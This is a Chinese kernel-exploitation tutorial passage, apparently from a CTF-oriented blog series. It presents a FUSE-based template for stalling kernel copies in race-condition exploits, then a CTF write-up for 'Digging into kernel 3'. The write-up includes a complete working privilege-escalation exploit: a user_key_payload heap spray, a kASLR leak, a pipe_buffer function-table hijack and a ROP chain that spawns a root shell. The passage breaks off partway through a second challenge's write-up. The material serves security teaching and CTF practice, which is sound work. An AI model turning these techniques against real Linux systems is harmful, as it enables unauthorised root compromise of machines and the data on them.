我们先来介绍 FUSE —— Filesystem in Userspace ,即用户空间文件系统,该功能允许非特权用户在用户空间实现一个用户态文件系统,开发者只需要实现对应的文件操作接口就可以在用户空间实现一个文件系统,而不需要重新编译内核,这给开发者提供了相当的便利

FUSE 自 Linux 2.6.14 版本引入,主要由两部分组成:

  • FUSE 内核模块,负责与 kernel 的 VFS 进行交互,并向用户空间实现的文件系统进程暴露 /dev/fuse 块设备接口
  • 用户空间的 libfuse 库 负责向用户程序提供封装好的接口,开发者基于该库进行用户空间文件系统的开发:由一个 FUSE daemon 守护进程负责与内核模块进行交互并进行文件系统的具体操作

image.png

FUSE 的基本运行原理如下:

  • FUSE daemon 守护进程通过 libfuse 库的 fuse_main() 注册文件系统与对应的处理函数,并挂载到对应的目录下(例如 /mnt/fuse
  • 用户进程访问挂载点下的文件(例如 /mnt/fuse/file),来到内核中的 VFS 对应 inode 的 inode_operations 中的处理函数,交由 FUSE 内核模块进行处理
  • FUSE 内核模块将请求转换为与用户态 daemon 进程间约定的格式,交由用户态对应的 FUSE daemon 守护进程进行处理
  • 在 FUSE daemon 调用文件系统创建时注册的对应的处理函数,这一步可能会需要访问实际的文件系统(如 ext4,看文件系统具体定义,你也可以写成一个纯内存的文件系统(笑))
  • FUSE daemon 完成处理,返回结果至 FUSE 内核模块,再经由 VFS 返回给用户进程

image.png

FUSE 内部还有更为复杂的结构,如五个处理队列等,但这暂时不是我们本篇需要关注的,我们主要关注如何用 FUSE 来完成利用就行(笑)

image.png

FUSE 基本用法

借助 libfuse 库,FUSE 的用法其实还是比较简单的,首先是安装基本的依赖项:

1
$ sudo apt-get install libfuse2 libfuse-dev

我们首先需要自定义一张 fuse_operations 函数表,并实现对应的函数接口(例如,如果我们的文件系统要实现创建文件夹的功能,我们应当在函数表中实现 mkdir() 接口),我们自定义的用户态文件系统的操作其实都是通过对该函数表中定义的相应函数进行回调完成的

1
2
3
4
5
6
7
8
// 太长,这里就不放完了
struct fuse_operations {
int (*getattr) (const char *, struct stat *);
int (*readlink) (const char *, char *, size_t);
int (*getdir) (const char *, fuse_dirh_t, fuse_dirfil_t);
int (*mknod) (const char *, mode_t, dev_t);
int (*mkdir) (const char *, mode_t);
//...

这里笔者写一个简单的用户态文件系统作为示例,例如我们可以实现如下两个接口:

  • getattr 用以获取文件属性,对于根目录 "/" (相对于挂载点而言)而言我们返回 0755 | S_IFDIR 属性,否则返回 0644 | S_IFREG 属性
  • readdir 用以遍历目录,这里我们仅支持遍历根目录 "/",返回结果显示在根目录下有一个测试文件,我们可以使用 filler() 函数填充单个文件结果

之后我们使用 fuse_main() 将其挂载到指定目录下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 标识使用的 FUSE 版本
#define FUSE_USE_VERSION 29

#include <fuse.h>
#include <stdio.h>
#include <string.h>

static int a3fuse_readdir(const char* path, void* buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info* fi)
{
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);

if (!strcmp(path, "/")) {
filler(buf, "a3fuse_test_file", NULL, 0);
}

return 0;
}

static int a3fuse_getattr(const char* path, struct stat *stbuf)
{
if (!strcmp(path, "/")) {
stbuf->st_mode = 0755 | S_IFDIR;
} else {
stbuf->st_mode = 0644 | S_IFREG;
}

return 0;
}

static struct fuse_operations a3fuse_ops = {
.readdir = a3fuse_readdir,
.getattr = a3fuse_getattr,
};

int main(int argc, char **argv, char **envp)
{
return fuse_main(argc, argv, &a3fuse_ops, NULL);
}

使用如下命令进行编译:

1
$ gcc a3fuse.c -o a3fuse -D_FILE_OFFSET_BITS=64 -lfuse

效果如下图所示:

image.png

当然,由于我们的例程没有实现 open()read()write() 等函数,这里直接对文件进行访问会提示错误:

image.png

FUSE 更深入的用法我们就暂且不深入学习了,我们这里主要关注如何在条件竞争中利用 FUSE

利用 FUSE 替代 userfaultfd 进行条件竞争利用

让我们重新审视前面我们利用 userfaultfd 在条件竞争中利用的流程的本质:

  • 让进程在内核中进行数据拷贝时暂停,控制权转交我们的自定义函数,我们在自定义函数中将该内核对象重新分配到别处,在恢复数据拷贝时便能读写其他内核结构体的数据

我们不难想到的是利用 FUSE 我们同样可以实现类似的效果

  • 注册一个用户空间文件系统,为读写等接口注册回调函数,使用 mmap 将该文件系统中的一个文件映射到内存中
  • 当进程在内核中读写这块 mmap 内存时,便会触发缺页异常,此时控制权便会转交到我们注册的回调函数当中
  • 在回调函数当中完成我们的恶意操作(例如将进程正在读写的内核对象重新分配到别的位置,或是覆写该对象以改变一些特定属性)
  • 重新回到内核中的读写流程,此时进程便会按照我们改变后的内核对象进行恶意操作(例如我们在 FUSE 的回调函数中将该对象重新分配到某个函数指针,恢复到内核的读写过程时进程便会覆写掉该函数指针)

利用 FUSE,我们可以像 userfaultfd 那样利用条件竞争漏洞完成利用,不幸的是常规的 libfuse 库并不支持静态编译,这使得我们无法像以往一样先静态编译一个 exp 再传到远程,但万幸的是 libfuse 库是开源的,安全研究员 BitsByWill 和 D3v17 将其进行了一些裁剪(裁剪掉了 dlopen 等,但还是很大…),做了一个可以供静态编译的 libfuse3.a 及相关的头文件等(参见这里

以下是笔者编写的 FUSE 利用的模板,和示例程序相比,我们需要对一些接口进行微调:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#define FUSE_USE_VERSION 34

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <unistd.h>
#include <fuse.h>
#include <sys/mman.h>

#define EVIL_FILE_NAME "a3fuse_evil_file"
#define EVIL_DAEMON_NAME "evil_fuse"
#define EVIL_MOUNT_PATH "./evil"
#define EVIL_FILE_PATH EVIL_MOUNT_PATH "/" EVIL_FILE_NAME

char *evil_args[] = {EVIL_DAEMON_NAME, EVIL_MOUNT_PATH, NULL};

static int a3fuse_evil_readdir(const char* path, void* buf,
fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info* fi,
enum fuse_readdir_flags flags);
static int a3fuse_evil_getattr(const char* path, struct stat *stbuf,
struct fuse_file_info *fi);
static int a3fuse_evil_read(const char *path, char *buf, size_t size,
off_t offset, struct fuse_file_info *fi);
static int a3fuse_evil_write(const char *path, const char *buf, size_t size,
off_t offset, struct fuse_file_info *fi);


static struct fuse_operations a3fuse_evil_ops = {
.readdir = a3fuse_evil_readdir,
.getattr = a3fuse_evil_getattr,
.read = a3fuse_evil_read,
.write = a3fuse_evil_write,
};

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

static int a3fuse_evil_readdir(const char* path, void* buf,
fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info* fi,
enum fuse_readdir_flags flags)
{
if (strcmp(path, "/")) {
return -ENOENT;
}

filler(buf, ".", NULL, 0, 0);
filler(buf, "..", NULL, 0, 0);
filler(buf, EVIL_FILE_PATH, NULL, 0, 0);

return 0;
}

static int a3fuse_evil_getattr(const char* path, struct stat *stbuf,
struct fuse_file_info *fi)
{
if (!strcmp(path, "/")) {
stbuf->st_mode = 0755 | S_IFDIR;
stbuf->st_nlink = 2;
} else if(!strcmp(path + 1, EVIL_FILE_PATH)) {
stbuf->st_mode = 0644 | S_IFREG;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
} else {
return -ENOENT;
}

return 0;
}

static int a3fuse_evil_read(const char *path, char *buf, size_t size,
off_t offset, struct fuse_file_info *fi)
{
/* I only set one page there */
char evil_buf[0x1000];

if (offset >= 0x1000) {
return -1;
} else if (offset + size > 0x1000) {
size = 0x1000 - offset;
}

/**
* fill your buffer with needed data there
* this's an example, filling it simply with 'A'
*/
memset(evil_buf, 'A', 0x1000);

memcpy(buf, evil_buf + offset, size);

/* now you can do anything useful for exploit there */
/* Your code here: */

return size;
}

static int a3fuse_evil_write(const char *path, const char *buf, size_t size,
off_t offset, struct fuse_file_info *fi)
{
/* I only set one page there */
char evil_buf[0x1000];

if (offset >= 0x1000) {
return -1;
} else if (offset + size > 0x1000) {
size = 0x1000 - offset;
}

memcpy(evil_buf + offset, buf, size);

/* now you can do anything useful for exploit there */
/* Your code here: */

return size;
}

void fuse_exploit_sample(void)
{
void *nearby_page, *evil_page;
int evil_file_fd;

if ((evil_file_fd = open(EVIL_FILE_PATH, O_RDWR)) < 0) {
err_exit("FAILED to open evil file in FUSE!");
}

nearby_page = mmap((void*)0x1337000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
evil_page = mmap((void*)0x1338000, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED, evil_file_fd, 0);
if (evil_page != (void*)0x1338000) {
err_exit("FAILED to map for FUSE file!");
}

/**
* now try reading or writing through nearby_page and evil_page in kernel,
* the a3fuse_evil_read/a3fuse_evil_write will be triggered automatically
*/
/* Your code here: */

munmap(nearby_page, 0x1000);
munmap(evil_page, 0x1000);
close(evil_file_fd);
}

int main(int argc, char **argv, char **envp)
{
/* register for FUSE */
fuse_main(sizeof(evil_args) / sizeof(char*) - 1, evil_args,
&a3fuse_evil_ops, NULL);

/* Your exploit here: */
}

同时需要在编译选项中添加 -I ./libfuse

1
$ gcc -no-pie -static exp.c -I ./libfuse libfuse3.a -o exp -masm=intel -pthread -D_FILE_OFFSET_BITS=64

FUSE in CTF

虽然我们有了可以静态编译的 libfuse 库,但在 CTF 的 kernel pwn 这样”残缺“的环境当中我们通常是无法使用 FUSE 的,因而就无法使用这种利用手法:(

image.png

image.png

image.png

不过可以在完备的真实环境中使用这种利用手法 : )

0x06.Kernel Heap - Heap Spraying

堆喷射(heap spraying)指的是一种辅助攻击手法:「通过大量分配相同的结构体来达成某种特定的内存布局,从而帮助攻击者完成后续的利用过程」,常见于如下场景:

  • 你有一个 UAF,但是你无法通过少量内存分配拿到该结构体(例如该 object 不属于当前 freelist 且释放后会回到 node 上,或是像 add_key() 那样会被一直卡在第一个临时结构体上),这时你可以通过堆喷射来确保拿到该 object
  • 你有一个堆溢出读/写,但是堆布局对你而言是不可知的(比如说开启了 SLAB_FREELIST_RANDOM(默认开启)),你可以预先喷射大量特定结构体,从而保证对其中某个结构体的溢出
  • ……

作为一种辅助的攻击手法,堆喷射可以被应用在多种场景下

例题:RWCTF2023体验赛 - Digging into kernel 3

和去年一样都是白给题,然后和去年一样摆烂半天拿三血 :-D

不过本篇为了介绍堆喷射这一手法,同时为了使用更多不同的结构体,笔者会用比较复杂的思路去解题

题目下载 - Digging-into-Kernel-3.tar.gz

① 题目分析

按惯例查看启动脚本,发现开启了 SMEP、SMAP、KASLR、KPTI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-enable-kvm \
-cpu kvm64,+smap,+smep \
-monitor /dev/null \
-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
-no-reboot \
-snapshot \
-s

文件系统里给了一个 rwctf.ko ,拖入 IDA 进行分析,发现只定义了一个 ioctl,提供了两个功能:

  • 0xDEADBEEF:分配一个任意大小的 object 并能写入数据,分配 flag 为 __GFP_ZERO | GFP_KERNEL,不过我们只能同时有两个 object
  • 0xC0DECAFE:释放一个之前分配的 object ,存在 UAF

image.png

我们需要传入如下结构体:

1
2
3
4
5
struct node {
uint32_t idx;
uint32_t size;
void *buf;
};

经过笔者测试,出题人手动关闭了如下默认开启的保护(出题人为了降低题目难度,可能关的更多,笔者只测了这几个):

  • 关闭了 CONFIG_MEMCG_KMEM,这使得GFP_KERNELGFP_KERNEL_ACCOUNT 会从同样的 kmalloc-xx 中进行分配
  • 关闭了 CONFIG_RANDOMIZE_KSTACK_OFFSET,这使得固定函数调用到内核栈底的偏移值是不变的
  • 关闭了 SLAB_FREELIST_HARDENED,这使得 freelist 几乎没有任何保护,我们可以轻易完成任意地址分配 + 任意地址读写

但是现在都 3202 年了,出这种和去年几乎一样的入门级白给题有意思🐎(←说这句话的人已经被乱拳打死了

② 漏洞利用

既然题目中已经直接白给出了一个无限制的 UAF,那么利用方式就是多种多样的了 :-D

Step.I - 堆喷 user_key_payload 越界读泄露内核基地址

首先我们需要先泄露内核基址,这里笔者选择使用 user_key_payload 来完成利用:)

在内核当中存在一个用于密钥管理的子系统,内核提供了 add_key() 系统调用进行密钥的创建,并提供了 keyctl() 系统调用进行密钥的读取、更新、销毁等功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        #include <sys/types.h>
#include <keyutils.h>

key_serial_t add_key(const char *type, const char *description,
const void *payload, size_t plen,
key_serial_t keyring);
//...
#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>

long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2,
__kernel_ulong_t arg3, __kernel_ulong_t arg4,
__kernel_ulong_t arg5);

当我们调用 add_key() 分配一个带有 description 字符串的、类型为 "user" 的、长度为 plen 的内容为 payload 的密钥时,内核会经历如下过程:

  • 首先会在内核空间中分配 obj 1 与 obj2,分配 flag 为 GFP_KERNEL,用以保存 description (字符串,最大大小为 4096)、payload (普通数据,大小无限制)
  • 分配 obj3 保存 description ,分配 obj4 保存 payload,分配 flag 皆为 GFP_KERNEL
  • 释放 obj1 与 obj2,返回密钥 id

其中 obj4 为一个 user_key_payload 结构体,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

//...

struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

类似于 msg_msguser_key_payload 结构体有着一个固定大小的头部,其余空间用来存储来自用户空间的数据(密钥内容)

keyctl() 系统调用为我们提供了读取、更新(分配新对象,释放旧对象)、销毁密钥(释放 payload)的功能,其中读取的最大长度由 user_key_payload->datalen 决定,我们不难想到的是我们可以利用题目提供的 UAF 将user_key_payload->datalen 改大,从而完成越界读

注意以下两点:

  • 这里我们的 description 字符串需要和 payload 有着不同的长度,从而简化利用模型
  • 读取 key 时的 len 应当不小于 user_key_payload->datalen,否则会读取失败

但是这里有一个问题:add_key() 会先分配一个临时的 obj1 拷贝 payload 后再分配一个 obj2 作为 user_key_payload,若我们先分配一个 obj 并释放后再调用 add_key() 则该 obj 不会直接成为 user_key_payload ,而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在

但我们可以通过堆喷将 UAF obj 分配到 user_key_payload,考虑如下流程:

  • 利用题目功能构建 UAF object
  • 堆喷射 user_key_payload ,UAF obj 作为拷贝 payload 的临时 obj 存在
  • kmem_cache_cpu 的 slub page 耗光,向 node 请求新的 slub page 分配 user_key_payload ,完成后 UAF obj 被释放并回到 kmem_cache_node
  • 继续堆喷 user_key_payloadkmem_cache_cpu 的 slub page 耗光,向 node 请求新的 slub page 分配 user_key_payload
  • UAF obj 所在页面被取回,UAF obj 被分配为 user_key_payload
  • 利用题目功能再次释放 UAF obj,利用题目功能进行堆喷获取到该 obj,从而覆写 user_key_payload

注:官方题解中进行地址泄露也是利用类似的做法

不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放,之后再在 obj2 上弄 UAF 就行了:) 这里采用这种做法只是为了介绍 heap spraying 这一手法

笔者将在 Step.II 中使用这种方法

接下来我们考虑越界读取什么数据,这里我们并不需要分配其他的结构体, rcu_head->func 函数指针在 rcu 对象被释放后才会被写入并调用,但调用完并不会将其置为 NULL,因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针,从而完成内核基址的泄露

Step.II - UAF 泄露可控堆对象地址,篡改 pipe_buffer 劫持控制流

可以用来控制内核执行流的结构体有很多,但是我们需要考虑如何完整地执行 commit_creds(prepare_kernel_cred(NULL)) 后再成功返回用户态,因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain

什么?你问为什么不用 pt_regs ?因为这个手法笔者打算在后面才讲(笑)

以及在默认开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 的新版本内核当中这已经是时泪了(悲)

由于题目开启了 SMEP、SMAP 保护,因此我们只能在内核空间伪造函数表,同时内核中的大部分结构体的函数表为静态指定(例如 tty->ops 总是 ptm(或pty)_unix98_ops),因此我们还需要知道一个内容可控的内核对象的地址,从而在内核空间中伪造函数表

这里笔者选择管道相关的结构体完成利用;在内核中,管道本质上是创建了一个虚拟的 inode 来表示的,对应的就是一个 pipe_inode_info 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

同时内核中会分配一个 pipe_buffer 结构体数组,每个 pipe_buffer 结构体对应一张用以存储数据的内存页:

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

pipe_buf_operations 为一张函数表,当我们对管道进行特定操作时内核便会调用该表上对应的函数,例如当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,由此我们便能控制内核执行流,从而完成提权

1
2
3
4
5
6
7
8
struct pipe_buf_operations {
//...

/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

那么这里我们可以利用 UAF 使得 user_key_payloadpipe_inode_info 占据同一个 object, pipe_inode_info 刚好会将 user_key_payload->datalen 改为 0xFFFF 使得我们能够继续读取数据,从而读取 pipe_inode_info 以泄露出 pipe_buffer 的地址

pipe_buffer 是动态分配的,因此我们可以利用题目功能预先分配一个对象作为 pipe_buffer 并直接在其上伪造函数表即可

对于笔者来说比较麻烦的倒是找栈迁移的 gadget…好在最后还是成功找到了一些合适的 gadget

③ FINAL EXPLOIT

最后的 exp 如下,这种解法不需要出题人主动关闭一些保护来降低题目难度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>
#include "kernelpwn.h"

/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40

#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024

#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0

#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70

int dev_fd;

struct node {
uint32_t idx;
uint32_t size;
void *buf;
};

/**
* @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
* __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM
* GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
*
* @param idx
* @param size
* @param buf
*/
void alloc(uint32_t idx, uint32_t size, void *buf)
{
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
struct node n = {
.idx = idx,
};

ioctl(dev_fd, 0xC0DECAFE, &n);
}

int main(int argc, char **argv, char **envp)
{
size_t *buf, pipe_buffer_addr;
int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
char desciption[0x100];
int pipe_fd[2];
int retval;

/* fundamental works */
bindCore(0);
saveStatus();

buf = malloc(sizeof(size_t) * 0x4000);

dev_fd = open("/dev/rwctf", O_RDONLY);
if (dev_fd < 0) {
errExit("FAILED to open the /dev/rwctf file!");
}

/* construct UAF on user_key_payload */
puts("[*] construct UAF obj and spray keys...");
alloc(0, PIPE_INODE_INFO_SZ, buf);
del(0);

for (int i = 0; i < KEY_SPRAY_NUM; i++) {
snprintf(desciption, 0x100, "%s%d", "arttnba", i);
key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
if (key_id[i] < 0) {
printf("[x] failed to alloc %d key!\n", i);
errExit("FAILED to add_key()!");
}
}

del(0);

/* corrupt user_key_payload's header */
puts("[*] corrupting user_key_payload...");

buf[0] = 0;
buf[1] = 0;
buf[2] = 0x2000;

for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
alloc(0, PIPE_INODE_INFO_SZ, buf);
}

/* check for oob-read and leak kernel base */
puts("[*] try to make an OOB-read...");

for (int i = 0; i < KEY_SPRAY_NUM; i++) {
if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
printf("[+] found victim key at idx: %d\n", i);
victim_key_idx = i;
} else {
key_revoke(key_id[i]);
}
}

if (victim_key_idx == -1) {
errExit("FAILED at corrupt user_key_payload!");
}

kernel_offset = -1;
for (int i = 0; i < 0x2000 / 8; i++) {
if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
kernel_base += kernel_offset;
break;
}
}

if (kernel_offset == -1) {
errExit("FAILED to leak kernel addr!");
}

printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

/* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
puts("[*] construct UAF on pipe_inode_info...");

/* 0->1->..., the 1 will be the payload object */
alloc(0, PIPE_INODE_INFO_SZ, buf);
alloc(1, PIPE_INODE_INFO_SZ, buf);
del(1);
del(0);

pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
del(1);

/* this object is for the pipe buffer */
alloc(0, PIPE_BUFFER_SZ, buf);
del(0);

pipe(pipe_fd);

/* note that the user_key_payload->datalen is 0xFFFF now */
retval = key_read(pipe_key_id, buf, 0xffff);
pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n",
pipe_buffer_addr);

/* construct fake pipe_buf_operations */
memset(buf, 'A', sizeof(buf));

buf[0] = *(size_t*) "arttnba3";
buf[1] = *(size_t*) "arttnba3";
buf[2] = pipe_buffer_addr + 0x18; /* pipe_buffer->ops */
/* after release(), we got back here */
buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
/* pipe_buf_operations->release */
buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
buf[5] = *(size_t*) "arttnba3";
buf[6] = *(size_t*) "arttnba3";
buf[7] = kernel_offset + POP_RDI_RET;
buf[8] = NULL;
buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
buf[11] = kernel_offset + COMMIT_CREDS;
buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
buf[13] = *(size_t*) "arttnba3";
buf[14] = *(size_t*) "arttnba3";
buf[15] = getRootShell;
buf[16] = user_cs;
buf[17] = user_rflags;
buf[18] = user_sp + 8; /* system() wants it : ( */
buf[19] = user_ss;

del(0);
alloc(0, PIPE_BUFFER_SZ, buf);

/* trigger pipe_buf_operations->release */
puts("[*] trigerring pipe_buf_operations->release()...");

close(pipe_fd[1]);
close(pipe_fd[0]);

return 0;
}

运行即可提权:

image.png

0x07. Kernel Heap - Arbitrary-Address Allocation

与用户态 glibc 中分配 fake chunk 后覆写 __free_hook 这样的手法类似,我们同样可以通过覆写 freelist 中的 next 指针的方式完成内核空间中任意地址上的对象分配,并修改一些有用的数据以完成提权

例题:RWCTF2022高校赛 - Digging into kernel 1 & 2

题目下载 - kernel_for_player.tar.xz

两道题目实际上是同一道题,因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复

① 题目分析

首先查看启动脚本

1
2
3
4
5
6
7
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic

开启了 smep 和 smap,这里出题人将 kaslr 写成了 kalsr,不过并不影响 kaslr 的默认开启

查看 /sys/devices/system/cpu/vulnerabilities/*,发现开启了 KPTI:

1
2
3
4
5
6
7
8
9
/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

题目给出了一个 xkmod.ko 文件,按照惯例这应当就是有漏洞的 LKM,拖入 IDA 进行分析

在模块载入时会新建一个 kmem_cache 叫 "lalala",对应 object 大小是 192,这里我们注意到后面三个参数都是 0 ,对应的是 align(对齐)、flags(标志位)、ctor(构造函数),由于没有设置 SLAB_ACCOUNT 标志位故该 kmem_cache 会默认与 kmalloc-192 合并

image.png

定义了一个常规的菜单堆,给了分配、编辑、读取 object 的功能,这里的 buf 是一个全局指针,我们可以注意到 ioctl 中所有的操作都没有上锁

image.png

我们应当传入如下结构体:

1
2
3
4
5
6
struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
}data;

还定义了一个 copy_overflow() 函数,不过笔者暂时没有发现在哪里有用到这个函数

image.png

漏洞点主要在关闭设备文件时会释放掉 buf,但是没有将 buf 指针置 NULL,只要我们同时打开多个设备文件便能完成 UAF

image.png

基本上等于复刻 CISCN-2017 的 babydrive

某 Pwn 神有言:

image.png

② 漏洞利用

我们有着一个功能全面的“堆面板”,还拥有着近乎可以无限次利用的 UAF,我们已经可以在内核空间中为所欲为了(甚至不需要使用 ioctl 未上锁的漏洞),因此解法也是多种多样的

Step.I - 实现内核任意地址读写

我们先看看能够利用 UAF 获取到什么信息,经笔者多次尝试可以发现当我们将 buf 释放掉之后读取其中数据时其前 8 字节都是一个位于内核堆上的指针,但通常有着不同的页内偏移,这说明:

  • 该 kmem_cache 的 offset 为 0
  • 该 kernel 未开启 HARDENED_FREELIST 保护
  • 该 kernel 开启了 RANDOM_FREELIST 保护

freelist 随机化保护并非是一个运行时保护,而是在为 slub 分配页面时会将页面内的 object 指针随机打乱,但是在后面的分配释放中依然遵循着后进先出的原则,因此我们可以先获得一个 object 的 UAF,修改其 next 为我们想要分配的地址,之后我们连续进行两次分配便能够成功获得目标地址上的 object ,实现任意地址读写

但这么做有着一个小问题,当我们分配到目标地址时目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址,从而导致 kernel panic,因此我们应当尽量选取目标地址往前的一个有着 8 字节 0 的区域,从而使得 freelist 获得一个 NULL 指针,促使 kmem_cache 向 buddy system 请求一个新的 slub,这样就不会发生 crash

可能有细心的同学发现了:原来的 slub 上面还有一定数量的空闲 object,直接丢弃的话会导致内存泄漏的发生,但首先这一小部分内存的泄露并不会造成负面的影响,其次这也不是我们作为攻击者应该关注的问题(笑)

Step.II - 泄露内核基地址

